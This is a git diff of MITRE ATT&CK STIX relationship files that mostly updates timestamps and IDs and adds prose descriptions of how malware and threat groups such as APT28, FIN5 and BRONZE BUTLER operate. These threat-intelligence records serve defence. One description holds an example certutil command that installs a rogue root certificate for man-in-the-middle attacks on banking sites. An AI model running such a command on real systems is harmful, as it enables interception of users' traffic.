@@ -8,7 +8,7 @@
             "id": "relationship--5365d764-76fa-49ce-b76b-d0344322b037",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Reg may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.",
             "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
diff --git a/enterprise-attack/relationship/relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6.json b/enterprise-attack/relationship/relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6.json
index 17cdd58055..c5f91c1710 100644
--- a/enterprise-attack/relationship/relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6.json
+++ b/enterprise-attack/relationship/relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0c5c5a06-1c1d-4ce5-94e6-cf5436ee5515",
+    "id": "bundle--4061599b-51ef-4e89-bb1e-d5dcf9657cdb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak installs VNC server software that executes through rundll32.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
diff --git a/enterprise-attack/relationship/relationship--53ad6525-7888-4651-bd43-c010b489ccc0.json b/enterprise-attack/relationship/relationship--53ad6525-7888-4651-bd43-c010b489ccc0.json
new file mode 100644
index 0000000000..ab00708a4d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--53ad6525-7888-4651-bd43-c010b489ccc0.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--8e60f9e1-480a-4ee3-ac4d-34c3a0fa2616",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--53ad6525-7888-4651-bd43-c010b489ccc0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "RawPOS encodes credit card data it collected from the victim with XOR.",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "external_references": [
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Visa RawPOS March 2015",
+                    "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.",
+                    "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428.json b/enterprise-attack/relationship/relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428.json
index 944d48e7a7..8eeb0dda65 100644
--- a/enterprise-attack/relationship/relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428.json
+++ b/enterprise-attack/relationship/relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a16f4c2-d748-4591-ab90-6556fecd21ee",
+    "id": "bundle--977f0607-cd79-42d7-af54-efb1eaee24ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can delete files and directories.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--53d7b242-3ed6-4281-9829-e25d425e28fe.json b/enterprise-attack/relationship/relationship--53d7b242-3ed6-4281-9829-e25d425e28fe.json
index f259a2df67..971fb3e6d3 100644
--- a/enterprise-attack/relationship/relationship--53d7b242-3ed6-4281-9829-e25d425e28fe.json
+++ b/enterprise-attack/relationship/relationship--53d7b242-3ed6-4281-9829-e25d425e28fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c10e6865-66ee-4d93-9438-bd4ecd0d8b13",
+    "id": "bundle--4c6b8bff-9ccc-471c-9cbc-6f8764e9922f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--53d7b242-3ed6-4281-9829-e25d425e28fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has run a plug-in on a victim to spread through the local network by using PsExec and accessing admin shares.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--acec5aa1-07db-449f-b1cd-64ab57cc7ce5.json b/enterprise-attack/relationship/relationship--54188543-7746-4158-9a9f-5556bb99ec7a.json
similarity index 72%
rename from enterprise-attack/relationship/relationship--acec5aa1-07db-449f-b1cd-64ab57cc7ce5.json
rename to enterprise-attack/relationship/relationship--54188543-7746-4158-9a9f-5556bb99ec7a.json
index d8a281790d..cc65843a13 100644
--- a/enterprise-attack/relationship/relationship--acec5aa1-07db-449f-b1cd-64ab57cc7ce5.json
+++ b/enterprise-attack/relationship/relationship--54188543-7746-4158-9a9f-5556bb99ec7a.json
@@ -1,18 +1,18 @@
 {
     "type": "bundle",
-    "id": "bundle--a9968ce4-a5bf-4f46-ab23-fee7973e685b",
+    "id": "bundle--8820ea0d-ad3d-4fc3-8a0f-9af7530f8d3c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "relationship",
-            "id": "relationship--acec5aa1-07db-449f-b1cd-64ab57cc7ce5",
+            "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "A backdoor used by APT29 created a TOR hidden service to forward traffic from the TOR client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.",
+            "description": "A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
-            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
             "external_references": [
                 {
                     "source_name": "Mandiant No Easy Breach",
diff --git a/enterprise-attack/relationship/relationship--542bb806-3e73-42f5-8a3e-86b498093f4b.json b/enterprise-attack/relationship/relationship--542bb806-3e73-42f5-8a3e-86b498093f4b.json
index 1a12f3d973..a860838967 100644
--- a/enterprise-attack/relationship/relationship--542bb806-3e73-42f5-8a3e-86b498093f4b.json
+++ b/enterprise-attack/relationship/relationship--542bb806-3e73-42f5-8a3e-86b498093f4b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8264f8f7-0b36-4b2d-9559-056e694cb597",
+    "id": "bundle--21b6dfd2-cdff-457b-8294-ce33dfbb1532",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "certutil can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: <code>certutil -addstore -f -user ROOT ProgramData\\cert512121.der</code>.",
             "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
diff --git a/enterprise-attack/relationship/relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c.json b/enterprise-attack/relationship/relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c.json
new file mode 100644
index 0000000000..e476955f45
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5a172062-dbcc-4039-b7f4-351aee60bfde",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Several BRONZE BUTLER tools encode data with base64 when posting it to a C2 server.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--548e7315-5055-4434-96c1-1429779b0e2b.json b/enterprise-attack/relationship/relationship--548e7315-5055-4434-96c1-1429779b0e2b.json
index 0353e509fe..5c27cd46b7 100644
--- a/enterprise-attack/relationship/relationship--548e7315-5055-4434-96c1-1429779b0e2b.json
+++ b/enterprise-attack/relationship/relationship--548e7315-5055-4434-96c1-1429779b0e2b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--401bbea9-6ed7-40e0-aa4d-7c06c7071dcc",
+    "id": "bundle--fc6e6bf7-1cc6-4808-9e0c-5824e8c1bb67",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--548e7315-5055-4434-96c1-1429779b0e2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has a command to collect the victim's IP address.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e.json b/enterprise-attack/relationship/relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e.json
index 3d654f7089..b9c3898056 100644
--- a/enterprise-attack/relationship/relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e.json
+++ b/enterprise-attack/relationship/relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd36b175-b77c-429a-8f49-12f2ce6671e3",
+    "id": "bundle--4499beb8-c906-43f7-96f7-5bf7b1df9383",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used COM hijacking for persistence by replacing the legitimate <code>MMDeviceEnumerator</code> object with a payload.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac.json b/enterprise-attack/relationship/relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac.json
index 82ac261945..1138a0f485 100644
--- a/enterprise-attack/relationship/relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac.json
+++ b/enterprise-attack/relationship/relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7dd46277-304b-4b4c-b077-8c062a4d100e",
+    "id": "bundle--b4fdb327-25b6-4ea0-bc5c-e9954fc28a04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can query service configuration information.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--550bf43e-53da-467e-affd-9f44ad668508.json b/enterprise-attack/relationship/relationship--550bf43e-53da-467e-affd-9f44ad668508.json
index 223a0f93b5..b78967b721 100644
--- a/enterprise-attack/relationship/relationship--550bf43e-53da-467e-affd-9f44ad668508.json
+++ b/enterprise-attack/relationship/relationship--550bf43e-53da-467e-affd-9f44ad668508.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f6e134c-aba9-4203-9baa-e62218e67bea",
+    "id": "bundle--76d87a94-020d-444f-8390-552758ee05ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--550bf43e-53da-467e-affd-9f44ad668508",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the computer name, OS versioning information, and OS install date and sends the information to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba.json b/enterprise-attack/relationship/relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba.json
index d8788d1e9b..42b65f41b4 100644
--- a/enterprise-attack/relationship/relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba.json
+++ b/enterprise-attack/relationship/relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9c656fc-f2cd-48e5-b500-c16daf7c1fb6",
+    "id": "bundle--e503dbbf-4db1-4a29-a88a-51c87ab39697",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A dropper used by Putter Panda installs itself into the ASEP Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> with a value named McUpdate.",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
diff --git a/enterprise-attack/relationship/relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320.json b/enterprise-attack/relationship/relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320.json
index 8d97b69b7d..38bbb45211 100644
--- a/enterprise-attack/relationship/relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320.json
+++ b/enterprise-attack/relationship/relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2b99403a-e19e-4867-9e80-55004cf97beb",
+    "id": "bundle--792e8948-5ee6-4a5e-ae4b-4954b6661f1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.Lazarus Group malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6.json b/enterprise-attack/relationship/relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6.json
index 91fa2acb5a..b6af31fbc9 100644
--- a/enterprise-attack/relationship/relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6.json
+++ b/enterprise-attack/relationship/relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f08ac113-4199-4b11-90e6-69dc81c111e5",
+    "id": "bundle--76f95fef-2e3b-4c4e-bd49-168e2d60aeff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--555e47f2-54bb-4c97-8804-536aa354126c.json b/enterprise-attack/relationship/relationship--555e47f2-54bb-4c97-8804-536aa354126c.json
new file mode 100644
index 0000000000..ee6b00a0e4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--555e47f2-54bb-4c97-8804-536aa354126c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--64e9b51b-01a2-43fa-956a-4c6a2a717541",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--555e47f2-54bb-4c97-8804-536aa354126c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can run DLLs.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7.json b/enterprise-attack/relationship/relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7.json
index 3d6a86cb78..b3a3cc6fa0 100644
--- a/enterprise-attack/relationship/relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7.json
+++ b/enterprise-attack/relationship/relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9766fa35-3d31-4e21-b129-9e03c841c01f",
+    "id": "bundle--e6426fd5-e4d6-4fdb-ac25-9c52eb50e597",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--5599906d-5be3-420c-9f84-e762d85c2511.json b/enterprise-attack/relationship/relationship--5599906d-5be3-420c-9f84-e762d85c2511.json
index 1d73f187d5..ca9c0ca16d 100644
--- a/enterprise-attack/relationship/relationship--5599906d-5be3-420c-9f84-e762d85c2511.json
+++ b/enterprise-attack/relationship/relationship--5599906d-5be3-420c-9f84-e762d85c2511.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d6b5330f-a467-46c4-a2a9-c9e7b44a4f49",
+    "id": "bundle--ac4136a0-0976-403e-93cd-82194de83a31",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5599906d-5be3-420c-9f84-e762d85c2511",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture audio from a victim machine.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--55df3b40-b130-4313-9064-6b0fc56564d0.json b/enterprise-attack/relationship/relationship--55df3b40-b130-4313-9064-6b0fc56564d0.json
new file mode 100644
index 0000000000..3bc4e70d81
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--55df3b40-b130-4313-9064-6b0fc56564d0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--10cfc1be-003a-4d7c-8600-a6b6949c26c5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--55df3b40-b130-4313-9064-6b0fc56564d0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "adds a Registry Run key to establish persistence.",
+            "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
+                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
+                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--55f58d30-b633-4094-97bb-6ab872c0f480.json b/enterprise-attack/relationship/relationship--55f58d30-b633-4094-97bb-6ab872c0f480.json
index 283fc3c72b..2ed5f80e23 100644
--- a/enterprise-attack/relationship/relationship--55f58d30-b633-4094-97bb-6ab872c0f480.json
+++ b/enterprise-attack/relationship/relationship--55f58d30-b633-4094-97bb-6ab872c0f480.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4447a0d4-930f-4f00-884a-23866244c45a",
+    "id": "bundle--d20f92cb-d000-4344-ae85-812f34cb67f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--55f58d30-b633-4094-97bb-6ab872c0f480",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
diff --git a/enterprise-attack/relationship/relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8.json b/enterprise-attack/relationship/relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8.json
new file mode 100644
index 0000000000..0162b7d0f3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--55e4ad4f-cbee-48ca-b8eb-e50e9f67e3f0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 scans processes on all victim systems in the environment and uses automated scripts to pull back the results.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081.json b/enterprise-attack/relationship/relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081.json
index d890e54e34..07099d7433 100644
--- a/enterprise-attack/relationship/relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081.json
+++ b/enterprise-attack/relationship/relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7544184a-77ed-4750-8e1c-f944bd21a31a",
+    "id": "bundle--26ac590a-aae4-4667-9a73-884b53c21aae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719",
             "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
